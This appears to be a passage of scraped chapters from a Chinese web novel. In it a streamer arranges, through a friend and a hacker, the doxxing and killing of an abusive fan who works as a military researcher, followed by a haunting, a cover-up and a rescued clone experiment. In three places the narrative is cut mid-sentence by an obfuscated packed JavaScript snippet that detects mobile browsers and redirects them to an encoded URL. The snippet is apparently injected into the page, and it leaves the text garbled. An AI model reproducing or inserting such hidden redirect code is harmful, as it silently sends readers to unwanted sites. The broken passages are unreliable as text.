更何况奥卡斯现在还是吃嘛嘛香,晚上倒头就睡,黑粉的行为没对她造成除(看起来本来就不存在的)事业前途之外的任何现实伤害。 仿佛精神强韧突然变成了一种错误似的。 至于威胁要开盒……这个反而随便,奥卡斯可是一头实打实的成年虎鲸,真杀上门,出事的会是谁可不好说。 而最终让奥卡斯动杀心的,是那个黑粉声称它有奥卡斯这两年直播的所有录屏,它要拿这些数据来炼一个成人向AI主播。 “我不知道它说的是不是真的,也不在乎,”奥卡斯的平静下是早已失控的暴怒,“我只知道我一定要它死。” 经过这段时间的相处,她已经感觉到钱雨青其实是个秘密颇多的人,对秩序以外的世界有着超乎寻常的包容。 瞧,就算她直白地说出了自己想杀人这样的话,钱雨青也完全不会害怕或试图制止,情绪反而高昂起来,像是在兴奋。 钱雨青缓缓点头:“可以理解。你打算怎么做?” 奥卡斯捻着脸颊边的长发:“我也不知道,要是请杀手的话,他们会帮忙开盒吗?” 钱雨青想了想,答:“应该不会。” 此答案一出,本就干瘪的钱袋子更是雪上加霜。奥卡斯的表情更垮了:“那我们是不是还得请个黑客?” “理论上是的,”钱雨青摸摸下巴,“或者我们可以直接找个提供一条龙服务的团队。” 奥卡斯虚心纳谏:“这样好,这样方便。但我们该上哪找他们去呢?” 专业杀手和黑客这种东西,大概在鱼泡泡购物平台或者海沟二手市场APP是搜不出来的。 “普通人确实没什么渠道和这些人接触,一般都是凭关系一层层介绍牵线,”钱雨青说,“你有这方面的人脉吗?” 奥卡斯愁眉苦脸:“没有……我们家人都本本分分的,在老家可能还有人给点面子,出了那颗偏远星球谁在乎呢?” 听起来就很不本分…… 钱雨青说:“唉,算了,一步一步来,我确实认识个黑客,我们先问问他怎么说?” 或许所有生活在乏味的普通中的人都对神秘的所谓社会黑暗面有过好奇和想象,奥卡斯一听这个话题就激动紧张起来:“是你认识的人?” “嗯……算吧,”钱雨青犹豫了一下,还是点头,“认识挺久了,刚认识的时候他特别清纯一人,没想到后来去当了黑客。” 奥卡斯捧着脸发出“哇——”的一声。 秉持肥水不流外人田的原则,钱雨青介绍的倒霉黑客当然就是谢守光。 他忧郁地坐在楼梯间翻通讯器的聊天窗口,奥卡斯可能是主播的工作做得工伤了,简简单单讲个背景故事也给讲出了口若悬河的说书感。 当然,她还没实心眼到透露找人的真正目的,只说想看看网暴她的人的真面目,然后小小地威胁一下对方,让对方停止这样的霸凌行为。 倒也没什么不对,人死了当然就不会再网暴别人了。 这还不算完,今天奥卡斯班也不上了,专心致志刷他的好感度刷了两小时,跟他从诗词歌赋聊到人生哲学,从阳春白雪聊到下里巴人,最后一转攻势露出了成年人的丑陋真面目: 【海霸王黑白夹心脆】:事情就是这样,我现在有点囊中羞涩,所以委托的价格能不能小刀一下下呀黑客大大,求求你~ 谢守光的心像杀鱼刀一样冷。 【?】:不能。 【海霸王黑白夹心脆】:好叭……我还想着以后说不定我们还能继续合作呢。 【?】:。 奥卡斯翻着自己通讯器里的表情包图库:“他好冷漠啊。” 钱雨青嚼着曲奇饼:“说了他不会降价的,直接给钱就行。” 奥卡斯叹气,换到转账页面,按照价格表给黑客打了款:“我就试试,万一呢。” 不管怎么说,谢守光的专业水准毋庸置疑。在钱款到位的十分钟后,“大头水生物刺身套餐”的所有信息就全部送到了奥卡斯手上。 “约翰·里弗,啧,虫族,还真是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钱雨青歪头,意味深长地看着她:“另一个方式近在眼前呀。如果不想暴露,那从一开始就不用自己的身份雇佣好了。找黑客代下单不就行了。你也知道里弗身份敏感,如果他出事,军部会第一时间从他的研究项目方面排查嫌疑,和他只是有私仇的你反倒不重要。” 说到底,军方保护研究员也只是为了保护自己研究项目的信息不泄漏,又不是真爱惜区区耗材的性命。 如果他真是什么项目组不可或缺的核心人物,从一开始约翰·里弗的档案就不该那么轻易被挖出来,谢守光一定会出言警告的。 奥卡斯懊恼地“啊”了一声:“我不该和刚才那个黑客讲那么多自己的事的。” “这倒不重要。他能开约翰·里弗的盒,当然也能找到你的信息,隐瞒没什么意义,”钱雨青说,“你知道我们真正的优势是什么吗?” 奥卡斯眨眼睛,乖乖地问:“是什么?” 钱雨青坏笑:“你是我介绍给他的,而我知道他的真实身份,能敲他的家门。所以如果有危险,他绝对不敢供出你,不然他自己也一定跟着完蛋。” …… 回到住处的时候,时间已经接近十二点。方媛已经收了摊,洗过澡,正抱着抱枕,在大厅一笔笔算账:“今天怎么回来得这么早?” “老板今天没上工,”钱雨青从冰箱里拿了瓶冰乌龙茶吨吨吨,“还有,最近我接了个夜班的单,之后一段时间说不准什么时候回来,不用留饭给我。” 方媛正忙着和数学搏斗,随意地点点头:“嗯嗯好的,工作加油哦!” 34. 夜班 约翰·里弗总觉得有哪里不对劲。 自从项目进度长期停滞不前,他们组长被所长和罗德里格斯将军在会议中轮番当众痛骂后,组内的氛围就变得越来越紧绷了。 组长在外丢了大脸,回来就拿底层组员撒气,气急败坏的样子像个上蹿下跳的可笑智人。早上踩点到把他一顿骂,工作态度不积极把他一顿骂,喝水喝得多把他一顿骂,连上厕所时间长一点又是把他一顿骂! 哪来那么多东西能骂?!去你丫的! 约翰·里弗抓住机会,往组长的咖啡杯里吐了口痰。看着组长还忙着口沫横飞,一无所知地将加料咖啡一饮而尽,他终于感到了报复的舒爽。 等好不容易摸鱼摸下了班,一看时间已经接近午夜。他用通讯器叫了辆车,就继续刷起视频来。 约翰有一个追了很久的漂亮女主播,每次看到她,他脑袋里就充斥着下流的想法,触角也忍不住上下摇晃。 从他在她身上花费的金额来看,他完全就是对方最忠实的粉丝。每次直播都捧场只是基础,有时他甚至还会给她刷礼物,发付费留言,而主播也总是非常热情地回应他。 可惜她今晚没有开播,也不知道是不是又在偷懒。 明明数据一点都不好,怎么还不知道再努力一点? 他的住所在一处还算是比较高档的小区里,环境比较安全,可惜离研究所有点远。 刷开门禁,呼叫电梯,走廊的灯光毫无征兆地闪烁了一下,发出轻微的“滋滋”声。 突如其来的黑暗吓了约翰一跳,他下意识四下张望,嘴里骂骂咧咧:“该死的物业又在偷懒,平时交的钱都吃到哪去了,一群不做事的蠢猪……这什么?” 转回身,约翰背后的墙上挂着一幅奇怪的人像海报。 黑发黑眼的女人被框在金属的框架之中,面无表情,暖色的发暗灯光冲不淡她眉宇间死气沉沉的阴郁。和往常投放的,主题鲜明、色彩明快的宣传广告不同,这张黑白的人像旁没有留下任何只言片语。 “……” 脏话莫名堵在喉咙里,约翰略感不适地移开视线,左右走动几步,若有似无的违和感在心头盘旋,像夏日时耳边嘤嘤不绝的蚊鸣声一样扰人。 该死的电梯怎么还不来?! 约翰烦躁地关闭通讯器,恼羞成怒地磨磨牙,较劲一样用力瞪向海报上的女人,好像这样就能赢下什么似的。 哈,无聊!不就是一张脑残的照片吗?鬼知道她为什么要在小区里投放莫名其妙的广告,怎么的,下海宣言?一看就是没人要的货色! 他想着想着把自己想爽了,神情又变得扬眉吐气起来。 目光再次与讨厌的女人相接,心里蓦地打了个突。 他知道这幅人像的违和感从何而来了。 位置错了。 一般而言,当海报中的模特需要看向画面外时,视线总是平视着前方。他们需要与画面外尽可能多的路人视线沟通,以此来传递自己的真诚,加强潜在顾客对品牌的信任。 所以,广告牌最合适的画面中心高度在离地一米五左右。 但这幅人像海报悬挂的位置太高,离地恐怕有将近一米七的距离,和最佳高度相比生生抬高了二十厘米。 这是很低级的错误。就像约翰的身高只有一米六五,站在人像的正下方,要是他想看着这幅人像,就必须微微抬起头。 但女人的目光仍旧与他相接了。 她低下了头,在看他。 “叮”的一声,身后,姗姗来迟的电梯终于打开了门。 这一声无异于救星降临,约翰如释重负地转身,却看见电梯里正对着门的墙上,同样挂着一幅黑白人像……是那个阴沉的女人。 她直直地看着他。 一分钟后,无人进入的电梯缓缓关闭。 退回大厅的约翰·里弗拨打了物业的号码,并在对方接通后暴怒地大吼大叫了十几分钟,直到对面第六次承诺立刻前来查看情况。 挂断通话后,约翰才发现,他的手在微微颤抖。 有什么可怕的?!简直是大惊小怪! 他在心里咒骂着。 但当维修人员到场之后,他又再一次傻眼了。 电梯外根本就没有广告牌。 连灯都亮了许多! 维修人员按开他指着的那台电梯,电梯内的广告内容只是再正常不过的宠物磨牙玩具而已。 “……请问您就是对这份广告的内容有不满吗?”她硬着头皮问。 她疑惑又小心翼翼的眼神再次戳痛了约翰,他粗声吆喝道:“就你话多,我爱坐哪台电梯就坐哪台,给我把另一台叫下来。” 实在是不想和神经病纠缠下去,维修人员一手仍然提着工具箱,一只脚跨进电梯,探头按下最高楼层的按键,等电梯门关闭后,才再次按下上楼键。 “那……没事的话我先走了?” 约翰也没脸叫维修人员站在这陪他,不耐烦地挥挥手把人赶走,然后打开视频网站,随手点了个吵闹的主播听声音。 电梯开门后,他先扭头看了看,看见三面墙上都没有广告牌,这才松了一口气走进电梯,想要按下自家所在的11楼时,却恼火地看见电梯里所有楼层键都是亮着的。 哪来的手贱孩子,去死! 但即便如此,他也不会去用另一台电梯的,忍忍算了。 电梯门缓缓关闭,约翰的下巴下意识后收,见到电梯门上也是干净的之后,才彻底放下心。 二楼、三楼、四楼。 电梯门打开,露出黑暗的楼道,闭合,继续往上升。 约翰表面上专心看着直播,实际上注意力全在门上。心脏的剧烈跳动逐渐平复,他开始懊恼之前怎么没有记得拍一张女人的照片。 他倒是要查查看是谁在整他! 电梯门再一次开启。 约翰心里转着念头,一边瞥向楼道。借着电梯透出的灯光,他看见电梯的正对面,楼道的墙上,挂着那个女人的黑白人像。 但和一楼的人像稍有不同,这张盯着他看的人像,是笑着的。 电梯门再度关闭,电梯往上升。 约翰仿佛听见自己的脑内发出“轰”的一声。 耳畔,直播间里欢快的乐曲好像突然离他很远,取而代之的是轻微的耳鸣。 报警?不,不可能,他要怎么和警察说?有一张人像跟着他?他会变成漩涡星系第一笑柄的。 研究所?军部可能会对这玩意感兴趣,但那东西会跑!如果他们认定他是在撒谎,他的下场绝对会很惨! 他得跑!他得马上跑!他不能再待在这儿了! 约翰打定主意,要在六楼出电梯,走楼梯下去。 于是,当电梯门再次打开时,他喊了一声,声控 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她不想他回家,反而正说明了家里是安全的。只要熬过今晚,从明天开始,他就常驻在实验室当钉子户,问就是热爱上班,组长休想赶走他! 既然她已经缠上他,那他就全部报告给军部好了。军部连杀人如麻的神眷者都能轻松抓捕,更别说这种只能挂在墙上的鬼东西了! 电梯在十楼停下,电梯门再次打开,出现在约翰面前的,却并非又一条漆黑的走廊。 巨大的女人海报填满了整个电梯门,笑容咧到了耳根。 她仍然死死地盯着他。 约翰被困在四面封闭的牢笼之中。 他声嘶力竭地惨叫起来,一声接着一声,身体触电般剧烈颤抖,两腿踢蹬着往后缩,鼻涕眼泪流了满脸。 电梯升上11层后,堵门的女人脸消失了,声控灯被惨叫惊起,楼道走廊空无一物。 没有那个女人。 约翰的四肢仍然不听使唤,只能在地上爬动着逃出电梯,哆哆嗦嗦了好一阵才控制住脸部肌肉,成功回到了家里。 家里的陈设和约翰早上离开前没什么两样。 没洗的衣物凌乱地甩在房间的各个角落,吃完忘了丢的食物盒子堆成一堆,窗帘常年紧闭,所有小物品都杂乱无章地随手乱放,除了他自己以外,没人都别想在这里找到什么东西。 他打开家里所有的灯,神经过敏地检查了很久,甚至强忍着恐惧照了照床底下,才勉强相信这里是安全的。睡是不可能睡着了,但他还是决定就在大厅的沙发上开着灯熬一晚,明早直奔研究所。 约翰再一次一猛子扎进了直播里,开了最大声的外放,试图把恐惧感冲淡。 但笑着笑着,他嘴角的弧度缓缓放平。 他总觉得有哪里不对劲。 是哪里? 他自欺欺人地努力控制着自己不去看、不去想,想要假装自己什么都没有发现,双眼紧盯着屏幕上欢快的游戏画面,眼泪却顺着脸颊流下来。 “啪”的一声,灯灭了。 月光透过窗帘,一个人影静静地映在帘幕之后。 不知怎的,约翰看到了她脸上扭曲的笑容。 他像她一样笑了起来。 35. 传闻 【前日,在漩涡之心淡水湖小区,有居民报警称总是闻到邻居家传来隐约臭味。警方在上门沟通无回应后,呼叫物业打开邻居家门,发现一名三十岁左右,种族为蟑螂的男性在客厅身亡。 据初步调查,死者伤痕集中在头颈部,面部受损,具体死因有待进一步鉴定。 目前,警方已将该事件定性为刑事案件,并成立专案组进行进一步调查。现设定专项赏金,呼吁知情者提供相关线索。】 尼尔森路过会议室时,希尔维亚·罗德里格斯正在里面对着通话界面大发雷霆。 “发生了什么?”他推开门问。 见有同级别的同僚出现,她胸口剧烈起伏几下,终于按住脾气缓和道:“没什么,只是出了点小意外。” 尼尔森淡淡问:“约翰·里弗?” “啊,原来你知道,”希尔维亚松了松领带,抬起下巴,“对,他死了。好奇够了?那就出去。” 尼尔森没有再回话,转身离开。 同属于驻扎在漩涡之心的将领,尼尔森和希尔维亚的关系算不上水深火热,但也和友好亲切不沾边。 先不说莱茵和罗德里格斯本就存在的陈年恩怨,他们作为出身、年龄、能力都相近的同期,被旁人日日拿来明里暗中比较算是必然。 久而久之,就算原本他们本人没有相争的意愿,也绝对不乐意自己被判为告负的一方。 更何况希尔维亚本就心气极高。 和边缘人尼尔森不同,身为家主之女的希尔维亚自展现出自身的天赋后,便获得了家族内的全力支持与培养。但这也导致她在进入军部任职后,升迁只能依附于家族派系的安排。 她不甘心按部就班熬资历,在安全区蹉跎十年,但在和祖父强硬表达自己想要上前线的意愿后,反而被明升暗降贬到漩涡之心,还让她同时负责管理生物研究所。 而与她一同被调职的人还有她的老对手,尼尔森·莱茵。 要不是知道尼尔森也是犯错被贬,希尔维亚真要觉得这是家里在故意给她开黑色玩笑了。 有怨言归有怨言,希尔维亚很清楚家族多年来对RED这项秘密计划的重视程度,正式接手后保密工作向来一丝不苟,对属下的管控已经细致到了严苛的地步。 也正因为如此,她才对研究员约翰·里弗死亡四天后才被发现这件事感到愤怒和震惊。 “你说他这几天正常来上班了?”她一字一句地问,“你们没有发现他被调包了?” 汗流如注的所长拼命点头:“是的,是的,我发誓,他、他的表现和以前相比没有任何不同,不管是我还是和他接触的其他同事,都完全没有感觉出违和感。” 这也是希尔维亚没有把人直接拖出去的原因。 研究所内最不缺的东西,一是颈椎病,二是摄像头。“约翰·里弗”的一举一动全在摄像头的保存范围之内,但就算她纠集了一群专业人士进行对比分析,也找不到其中有任何不属于约翰·里弗的东西。 “那个模仿者简直就像直接穿上了里弗先生的皮囊一样。”调查人员对她说。 说什么疯话。 那群饭桶甚至找不到嫌疑人。 “唯一提供了相关线索的人,是里弗所在小区的一名物业员工,她是与里弗有实际交流的最后一人。她声称当时里弗的情绪非常激动,反复催促她去维修照明设备,并指责物业对小区内的广告选取不当。” “广告?” “呃,是一则宠物磨牙玩具的广告,具体内容在这里……该员工声称,里弗对广告里的女人表现出了惧怕。但我们对那家经纪公司进行突击搜查后,并没有找到可能有关联的线索。” 这条线索到这里已经彻底断了。 希尔维亚只能冷冷转身,头也不回地抛下一句:“继续调查。” 看着她怒气冲冲的背影,有下属和身边人小声嘀咕:“这事说不定真是鬼干的。你都不知道,那个案发现场阴得我一直在起鸡皮疙瘩,他邻居都干脆跑外面酒店里住了。” 回到办公室,希尔维亚关上门。 约翰·里弗的生死压根不重要,但有人盗用他的身份入侵研究所,说明RED计划的保密出现了未知的纰漏。 最可怕的是,那个绝对不能暴露,必须被销毁的东西被带走了…… 她才刚调任到漩涡之心,就把最重要的事办砸了。 希尔维亚回想起那些士兵向她和尼尔森敬礼时截然不同的表情,看着桌面上即将发回家族内部的长篇报告,她攥紧拳头,用尽全力发狠地砸在书桌上。 神眷者,漩涡之心一定出现了未知的神眷者。如果没有那些超越时代的烦人能力,那个东西就算被偷运出去,也绝不可能像现在这样,不留下任何痕迹,凭空消失! 她咬牙切齿地想。 “我抹去了你的痕迹。”尼尔森说。 钱雨青答:“多亏你了。” 就像每一个试图挣脱家族束缚的年轻人一样,尼尔森也有不为莱茵所知的,只属于他自己的秘密基地:“这里原本是舅舅送给我的礼物。” 这座庄园的风格典雅清新,沿途走来时,不管是身为活人的保镖还是机械仆从,都仿佛只是此处装饰的一部分,安静得可怕。 钱雨青步伐轻快地跟在尼尔森身后,称赞道:“的确是卡尼利恩会喜欢的风格。” 踩着木制楼梯走上二楼,推开走廊尽头一扇隐蔽的房间门,坐在床上的青年回过头,用沙哑温顺的声音打招呼:“你们来了。” 尼尔森下意识皱了皱眉,而钱雨青有点想笑。 四天时间足够钱雨青把罗德里格斯生物研究所翻个底朝天。 过程没什么好说的,问就是难道还会比通关无限流扮演副本更难吗,反正研究所里没一个人的眼睛能比BOSS的眼睛更利的。 在确定约翰·里弗参与的RED计划,到如今已持续近二十年后,钱雨青便联系了尼尔森。 “卡尼利恩曾经的研究雏形找到了。RED计划明面上是罗德里格斯家族内部的研究,但暗中的参与者绝对不止他们一家。” “我知道,”通讯器的另一侧,尼尔森的声音很轻,“你找到了什么?” 如果光是一些资料数据,钱雨青用不着大半夜的在研究所内就联系他。 “我找到了一个试验体,一个铁证,”钱雨青绕着面前的透明培育仓转来转去,“快来,只要你看到它,就什么都知道了。” 时间转回现在,就在两人的面前,坐在床上的人长着一张属于卡尼利恩·莱茵的脸,只是明显更稚嫩,像是才刚刚成年。 它有一双祖母绿色的眼睛,金发,但却是颜色十分浅淡的铂金色。 鉴于现在正版卡尼利恩的眼睛眼睛变成了红色,皮肤也变得死白死白,这只实验体说不定真能在COS卡尼利恩大赛上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470871|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇夺第一。 尼尔森直截了当地问:“你知道自己是谁吗?” 实验体答:“我是七号。” “意思是,实验体除了你,还有其他人?” “现在没有了,它们都被销毁了。” “它们为什么被销毁?你为什么能活下来?” “残次品……所有实验体都是残次品,包括我。但我是其中相对最完整的一个。在下一个比我更完整的个体出现前,我不会被淘汰。” 坐在床头柜上的钱雨青自然地插嘴道:“你的‘残缺’是什么?你看起来和正常人类没区别。” 从研究所里保存的实验数据上看,这只实验体的生理指标全部都是正常的,甚至要比普通人还要健康强壮许多——别的先不谈,反正一定比卡尼利恩的原装身体健壮。 实验体默了几秒,答道:“我不知道,他们、研究员都这样说。” 风把白色的纱质窗帘吹得帆一般鼓起,房间的窗外正对着仆从们日复一日精心打理的花园。它的主人从没在这里住过,但香槟色的玫瑰仍旧一簇一簇地开。 确定实验体对研究计划一问三不知后,对它失去了耐心的尼尔森便朝钱雨青点点头,离开了这里。 察觉出他情绪下滑的实验体无措地问站在窗边的钱雨青:“是我说错了什么吗?” “不,他只是问完了,”钱雨青问,“你有记忆和常识吗?” 实验体摇头又点头:“我没有记忆,但被灌输过社会常识。” 这主要是为了保证实验体能与研究员正常沟通,否则它现在恐怕连话都不会说。 “这是好事,”钱雨青说,“记忆会塑造人格,你的命运仍属于你自己。” 实验体用茫然而疲惫的眼神看着她,想要说些什么,但最终仍然沉默以对。 当它第一次睁开眼睛,它便天然地知晓自己的命运。 作为第七号实验体,它诞生。然后,它从培养仓内被取出,在手术台上被解剖。一次又一次,研究员们切割它、缝合它、伤害它、治愈它,而它需要保持清醒,顺从地回答研究员的问题,描述自己的感受。 它说被切开很疼,研究员问它有多疼,它说像被刀割一样疼,于是研究员哈哈大笑。 它流眼泪,研究员问它为什么哭,它说自己也不知道,于是研究员又哈哈大笑。 有什么好笑的? 它的伤总是好得很快,无论什么药剂都会快速代谢,弄得手忙脚乱的研究员很不高兴。他说下次要拿电锯来锯它,并且真的这样做了,结果它的实验结果和其它实验体很不一样,从此它需要配合的实验又多了一项。 它忍受着,因为这就是它诞生的意义,是它与生俱来的命运。 它憎恨命运。 现在,这个叫做钱雨青的人也是它的命运了。 “你需要我做什么?”实验体问。 钱雨青想了想,还真想到了一件,巴掌一拍:“你给自己起个名字。” 联邦没有实体的身份证,但绑定的生物权限远比一张丢了还需要补办的小卡片可怕。实验体伪造身份最麻烦的点就在于它没有过去,好在星际是超信息时代,侵占某个死人的生平对谢守光来说并不困难。 “……我不知道,”实验体说,“随便你。” 钱雨青秒速决定:“行,以后你的名字就叫加内特了。” “好。”加内特说。 36. 合作 淡水湖小区的谋杀案并未随着时间推移淡出人们的视野,反而热度愈发高涨。 而这最开始是因为有好事者在匿名论坛发帖,声称自己知道了一些不得了的内幕。 【罗德里格斯的声明谁敢信?约翰·里弗绝对不是因为入室抢劫被杀的!】 RT,今天的发布会大家都看了咩?军部简直是把屁民当傻子一样玩耍。利益相关我有人脉参与过现场调查,ta说里弗的死状非常可怕非常诡异!虽然脸上有伤,但跟入室抢劫没有半毛钱关系! 1L 我也觉得。一开始悬赏线索大张旗鼓,现在又左右脑互搏压热度。估计查到不敢查的东西了 2L 有证据放证据口说无凭。 3L 【有人急得屁股痛痛哦,放证据让你来抓我咩?反正我的人脉是下水道的老鼠,爱信不信~~~直接说结论,里弗是自杀的。他脸上的伤是自己拿手挠的,脖子是自己掐的。他被自己活活掐死哩!而且他眼睛瞪很圆,表情还在笑,就是那种嘴角翘很高,嘴咧很大很僵的那种笑~我看过一眼照片,差点吓到尿~~】 4L 好假。讲鬼故事搏眼球? 5L 电影情节 6L 冷知识人不能掐死自己别发在新闻版滚去灵异版 7L 【就是因为理论上不可能做到才说诡异的好咩?而且那个谁还在用力查哦,比原先查得还要大力哦~~~】 8L 哪个谁?楼主这说话语气恶心绝了,遮遮掩掩一律当放屁。 9L 凶手会不会是神眷者? 10L 那就不奇怪了。s法怪异,找不到人。十年前我就说神眷者最该被管控,一群狂热粉还冲上来咬我。现在好了,他们要s人,你们拦得住吗? 11L 楼上想打架麻烦直接贴脸贵族,管不管神眷者好像不是我们普通人能决定的吧?想骂阿佩尔直说,莱茵绝对在这方面发力了。 12L 大胆刁民敢妄议皇女?还有人不知道莱茵为了捧阿佩尔杀了莉莉娅吗?她粉丝到现在还在哭丧 13L 又来阴谋论莉粉有完没完,都说了是你莉的系统杀了她,因为它不想和官方合作!! 14L 又在打又在打,女明星粉丝全滚出去,滚去娱乐版! 15L 真就无人在意的里弗的一生 16L 里弗也不是什么好东西好吧,有人爆出来他有xsr女下属被开除的前科,还长期骚扰霸凌女主播,指路隔壁贴。这种人死了好死了活该。 17L 那军部还雇他? 18L 都军部了你指望啥,他能力合格呗。 19L 【来了来了,突发新闻!三文鱼路路口发现一诡异男尸,好多好多人拍了照片~~咦咦咦~~究竟像谁呢~如有雷同,纯属巧合~~~】 钱雨青往下翻了翻,后面的跟帖基本都是惊讶和恐慌,还有求楼主爆更多料的,但楼主再也没有出来多说一句。 这也不奇怪,毕竟楼主本人已经被罗德里格斯少将逮住了。 不过他并不是什么自称的内部人员,单纯只是一开始邻居报警前就在业主群里发了声明,所以闲得没事跑上来围观过的未成年而已。 本来诸如此类“里弗之死背后可不简单”的论调在整个匿名区没有一百也有八十,这个楼主也只是因为真的见过里弗死状才略胜一筹。 他身为生物研究员的精英背景既是阴谋的最佳温床,也是与平民立场天然的隔阂。 死一个人很可怕,但军部派系斗争打死一个研究员?对平民的重要性压根比不过营养剂涨价1星币。 加上他的品德本就一言难尽,“欺负平民”与“社会精英”的标签一叠加,除了键政人狂喜之外,大家对他不仅不同情,甚至走过路过还会留下一句“好死”。 顶多是他的死状离奇,会让一小撮爱编故事的灵异爱好者津津乐道一阵子。 但大庭广众之下,闹市之中出现了死状完全相同的新受害者。 和约翰·里弗不同,他只是个平平无奇的打工人。 但他是里弗案的现场勘查人员之一。 根据随后曝光的消息记录来看,他曾和朋友诉苦“里弗的死状太诡异,吓得他晚上做噩梦,梦见自己被杀,尸体和里弗一模一样”。 短短几个小时,“笑脸杀手”便引爆了整个漩涡星系,大有继续向外扩散的趋势。 “这是挑衅,这绝对是挑衅!” 希尔维亚背着手走来走去。 尼尔森好整以暇地低头翻看资料,一言不发。 罗德里格斯当然不会主动说出与RED计划相关的信息,希尔维亚更不会自曝她被人从眼皮子底下偷走了实验体的重大过错。 从表面上看,约翰·里弗只是一名参与了军部秘密计划并被杀死的倒霉研究员。 用杀死他的手法再度高调作案,把事情彻底闹大,活脱脱就是在打罗德里格斯的脸。 “或许只是巧合。”他说。 “你在开玩笑吗?现在全网都在传军部有问题,”希尔维亚停下脚步,怒目而视,“这明显就是针对我们分部的阴谋!” 家族内部已经决定派人来进行详细调查,她只能尽力弥补,管控局面。当然,最好的结果是她提前找到罪魁祸首,绝地翻盘。如果不是走投无路,她绝不会把尼尔森拉过来。 在事情发生前,这一切和被排除在外的尼尔森没有关系。但事情发生后,毕竟同是驻扎在漩涡之心的将领,尼尔森有职责协助她追回可能泄露的军部机密。 但尼尔森竟然表现得毫不在意! “为什么这样说,研究所丢了什么吗?”尼尔森问。 希尔维亚一摊手:“没有,谁能突破罗德里格斯的监控……但那不是重点,重点是凶手杀害了一名研究员,并尝试过窃取他的身份。那个人仍旧有威胁。” “那就更奇怪了,”尼尔森说,“一个想要窃取机密的凶手,为什么要去杀一个对它的计划没有益处的目标?” 希尔维亚觉得自己快爆炸了。 “机密被泄露”难道是什么可以直接说出口的东西吗?当然是要一边粉饰太平一边私下把凶手抓住,才能最大限度地降低损失。 一旦糊弄失败,不得不向上面承认分部有所疏失,让总部的其他派系找到机会派人过来找茬,不止他们两个人,连莱茵和罗德里格斯都会受牵连。 她还从来没遇到过这种死活不肯配合工作的杠精! 她再次强调道:“我们必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470872|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽快抓住凶手的尾巴。” 尼尔森看了她一会儿,一直看到希尔维亚面露不耐,才慢吞吞地说:“事实上,我似乎已经抓住了。尾巴。” 他无视了希尔维亚陡然变化的神色,自若道:“或许现在我们可以谈谈别的,罗德里格斯少将?” 奥卡斯·琼安终于在22岁这一年找到了她的天命之女,方媛。 自从钱雨青不知在哪找到帮有钱人遛狗的工作之后,她的作息就变得早出晚归的,还经常几天不回家。 据说她最近在训练小狗钻火圈。 为了让奥卡斯能继续吃上美味饭饭,她干脆远程指路,把奥卡斯遥控到方媛的店里,让两人相互介绍认识了一下。没想到就这一下,两人便相见恨晚起来。 只一顿饭的功夫,两人就击掌为誓,决定强强联手,开启吃播新节目,并大获成功。奥卡斯已经在重新物色工作室了。 “就算是我也觉得这话假得过分,”方媛吐槽,“你居然真的信?” “但是很有趣呀,比我在便利店卸货有趣多了。又不是什么大事。”奥卡斯答。 方媛顿时恨铁不成钢地摇头,小声八卦:“她估计和军部有关系!” 奥卡斯毫不质疑,恍然大悟:“原来如此!” 谁也不知道用自身的死亡搅动整个漩涡星系的约翰·里弗,最初是为什么被“笑脸杀手”盯上的。 军部、实验、阴谋?统统不是! 他只是为自己骚扰别人的臭虫行为付出了代价而已。 只是因为他惹了我而已。 奥卡斯在众说纷纭的字里行间感受到了诡异的幸福。 在她给杀手下单的当晚,钱雨青就和她说,之后要请个长假。 奥卡斯理解了她的暗示,但她什么都没有说。 她暂时放下了直播工作,和方媛玩在一起,直到几天后约翰·里弗的死登上新闻。 “好可怕,难道凭星际的科技水平都抓不住凶手吗?他住的居然还是个中高档小区,”方媛忧心忡忡,“怎么网友一点都不害怕的?” 一旁听到她发言的学生猛炫炸虾天妇罗盖饭,嚼嚼嚼,吞:“他是军部的研究员,一看就是权贵内斗,放心啦。” 宇宙实在是太大了,大到每一个昼夜的瞬间,都一定有无数种事发生了无数次。 任何人的生死放在这样的无垠之中都会变得无限渺小,哪怕是那些翻手为云覆手雨的权贵,信息传到几万万光年外,也不过是蝼蚁口中的笑谈。 更别说本就无足轻重的普通人。 和山谷不同,就算对着星空呐喊,也不会有任何回音。 人们最终能看见、能听到、能在乎的只有自己而已。 约翰·里弗的事之所以有很多人关注,不过是因为他的死相很“奇特有趣”。 第二个人? 随即,有人跳出来告发,他收受贿赂在警局中销毁无证,制造过许多冤假错案。 接着,有人拍摄视频,在镜头面前哭诉自己几十年的冤屈,向“笑脸杀手”求助。 很快,第三名死者出现了。 舆论再次哗然,吹捧的有之,批判的有之,效仿后被火速逮捕的有之。 有人在星网上发布排名,将“笑脸杀手”选为如今漩涡之心的第一网红。仿佛到来的不是一桩凶案,而是漩涡之心久违的狂欢时刻。 37. 信赖关系 加内特是个大麻烦,而他最麻烦的一点,就是再烫手也不能丢。 他只要存在就是罗德里格斯不能抹消的罪证,还会拔出萝卜带出泥地牵连更多人,必定会全力追查。而对于尼尔森来说,加内特肉眼可见与卡尼利恩有着莫大的关联,他最初进入军队就是为了今天,绝无可能放手。 